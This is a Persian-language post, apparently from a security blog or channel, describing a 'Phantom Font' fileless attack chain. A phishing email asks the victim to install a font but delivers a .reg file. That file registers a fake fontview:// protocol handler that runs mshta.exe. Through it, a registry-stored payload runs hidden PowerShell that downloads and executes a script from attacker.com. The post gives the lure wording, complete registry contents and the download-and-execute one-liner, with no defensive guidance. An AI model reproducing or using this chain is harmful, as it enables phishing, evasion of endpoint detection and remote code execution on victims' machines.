سناریوی جذاب امشب : "فونت شبح" (The Phantom Font Attack)
این سناریو mshta.exe را با تکنیکهای دیگری ترکیب میکند تا یک حمله تقریباً نامرئی و بدون فایل (Fileless) ایجاد کند که حتی ممکن است برخی از سیستمهای EDR (Endpoint Detection and Response) را به چالش بکشد.
هدف مهاجم: اجرای کد مخرب روی سیستم قربانی (مثلاً یک کارمند در یک شرکت بزرگ) بدون اینکه هیچ فایل اجرایی یا اسکریپت مشکوکی روی دیسک ذخیره شود و با دور زدن سیاستهای محدودکننده اسکریپت.
مرحله ۱: طعمه و نفوذ اولیه (The Lure)
مهاجم یک ایمیل فیشینگ بسیار هوشمندانه برای قربانی ارسال میکند. محتوای ایمیل، یک سند طراحی یا گزارش برندینگ از طرف "تیم بازاریابی" است. در ایمیل نوشته شده:
سلام، لطفاً پیشنویس گزارش برندینگ Q3 را بررسی کنید. توجه: برای مشاهده صحیح گزارش، باید فونت مخصوص شرکت ما که در لینک زیر قرار دارد را نصب کنید. بدون این فونت، سند به هم ریخته نمایش داده میشود. با تشکر.
لینک ارائه شده در ایمیل به نظر یک لینک دانلود فونت است، مثلاً
https://branding-assets.com/fonts/download.php?font=CorpSans.ttf.
مرحله ۲: سوءاستفاده از رجیستری ویندوز (The Registry Trick)
اینجاست که سناریو عجیب میشود. قربانی روی لینک کلیک میکند. اما سرور مهاجم به جای یک فایل فونت (.ttf)، یک فایل با پسوند .reg برای او ارسال میکند. بسیاری از کارمندان ممکن است ندانند فایل .reg چیست و با دیدن پیغام ویندوز مبنی بر "اضافه کردن اطلاعات به رجیستری" (Add information to the registry)، دکمه Yes را بزنند، با این تصور که در حال نصب فونت هستند.
این فایل .reg یک تغییر کوچک اما حیاتی در رجیستری ویندوز ایجاد میکند. این فایل یک "Protocol Handler" سفارشی برای یک پروتکل ساختگی به نام fontview:// تعریف میکند.
محتوای فایل .reg چیزی شبیه به این است:
[HKEY_CLASSES_ROOT\fontview]
@="URL:FontView Protocol"
"URL Protocol"=""
[HKEY_CLASSES_ROOT\fontview\shell]
[HKEY_CLASSES_ROOT\fontview\shell\open]
[HKEY_CLASSES_ROOT\fontview\shell\open\command]
@="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\PhantomFont\\\\Payload'));window.close();\""
چه اتفاقی افتاد؟
این فایل به ویندوز میگوید: "از این به بعد، هر لینکی که با fontview:// شروع شود را با mshta.exe باز کن و این دستور جاوا اسکریپت را اجرا کن."
مرحله ۳: اجرای بدون فایل از طریق رجیستری (The Fileless Execution)
پس از اینکه قربانی فایل .reg را اجرا کرد، صفحه وب مهاجم (که قربانی از آن فایل را "دانلود" کرده بود) به صورت خودکار به یک URL جدید ریدایرکت میشود:
fontview://load
ویندوز با دیدن این لینک، بلافاصله mshta.exe را طبق دستوری که در رجیستری ثبت شده، فراخوانی میکند. حالا mshta.exe دستور جاوا اسکریپت زیر را اجرا میکند:
javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\PhantomFont\\Payload'));window.close();
این دستور به mshta میگوید:
1. به رجیستری ویندوز در مسیر
HKCU\Software\PhantomFont برو.
2. مقداری به نام Payload را از آنجا بخوان.
3. محتوای خوانده شده را به عنوان کد جاوا اسکریپت اجرا کن (eval).
4. بلافاصله پنجره mshta.exe را ببند (
window.close()) تا هیچ اثری روی صفحه باقی نماند.
اما صبر کنید، مقدار Payload از کجا آمده؟ مهاجم آن را همزمان با تعریف Protocol Handler در همان فایل .reg اولیه در رجیستری ذخیره کرده است!
بنابراین، فایل .reg کامل چیزی شبیه این بوده:
[HKEY_CLASSES_ROOT\fontview]
@="URL:FontView Protocol"
"URL Protocol"=""
... (بقیه دستورات Protocol Handler) ...
[HKEY_CURRENT_USER\Software\PhantomFont]
"Payload"="var sh = new ActiveXObject('WScript.Shell'); sh.Run('powershell -nop -w hidden -c \\"IEX ((new-object net.webclient).downloadstring(\\'
http://attacker.com/stage2.ps1\\'))\\"', 0, false);"
`این مقدار Payload یک کد PowerShell است که از سرور مهاجم یک اسکریپت دیگر (مثلاً یک Cobalt Strike Beacon) را دانلود و در حافظه (memory) اجرا میکند.
این سناریو نشان میدهد که چگونه یک ابزار به ظاهر ساده مانند mshta.exe میتواند به عنوان یک قطعه کلیدی در یک زنجیره حمله بسیار پیچیده و پنهانکارانه عمل کند.
توضیح :
اینfontview:// یک پروتکل جعلی است و
پروتکل هندلر آن، دستوری است که مهاجم در رجیستری ویندوز کاشته تا به ویندوز بگوید با این پروتکل جعلی چه کار کند؛ که در این سناریو، اجرای mshta.exe برای اهداف مخرب است.